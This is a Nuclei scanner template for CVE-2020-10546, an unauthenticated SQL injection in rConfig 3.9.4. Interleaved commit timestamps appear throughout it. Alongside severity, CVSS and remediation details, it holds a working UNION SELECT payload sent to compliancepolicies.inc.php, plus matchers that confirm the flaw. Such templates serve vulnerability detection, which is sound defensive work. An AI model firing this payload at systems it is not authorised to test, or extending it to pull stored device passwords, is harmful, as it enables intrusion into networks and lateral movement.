2021-02-14 19:30:22 +00:00
id : CVE-2020-10546
2022-04-11 14:42:35 +00:00
2021-02-14 19:30:22 +00:00
info :
2022-11-29 05:34:09 +00:00
name : rConfig 3.9.4 - SQL Injection
2021-02-14 19:30:22 +00:00
author : madrobot
2021-09-10 11:26:40 +00:00
severity : critical
2023-04-12 10:55:48 +00:00
description : rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade to the latest version of rConfig or apply the provided patch to fix the SQL Injection vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-03-24 06:54:09 +00:00
- https://github.com/theguly/exploits/blob/master/CVE-2020-10546.py
- https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
2022-04-11 14:42:35 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-10546
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-10546
2023-07-11 19:49:27 +00:00
cwe-id : CWE-89
2023-11-27 09:19:41 +00:00
epss-score : 0.45422
2024-01-14 13:49:27 +00:00
epss-percentile : 0.97076
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : rconfig
product : rconfig
2024-01-14 09:21:50 +00:00
tags : cve2020,cve,rconfig,sqli
2021-02-14 19:30:22 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-14 19:30:22 +00:00
- method : GET
path :
- "{{BaseURL}}/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+"
2023-07-11 19:49:27 +00:00
2021-02-14 19:30:22 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-02-14 19:30:22 +00:00
words :
- "[project-discovery]"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-01-26 08:31:11 +00:00
# digest: 4b0a00483046022100f50e0851e4920eb23e6fb6fd083a74d6ecd00a0301e9d3a3068787c974f50b5e022100f0a24d64b1232c6f1242160fabc1624876acf0af6d66db9c6de7a0caea56c69d:922c64590222798bb761d5b6d8e72950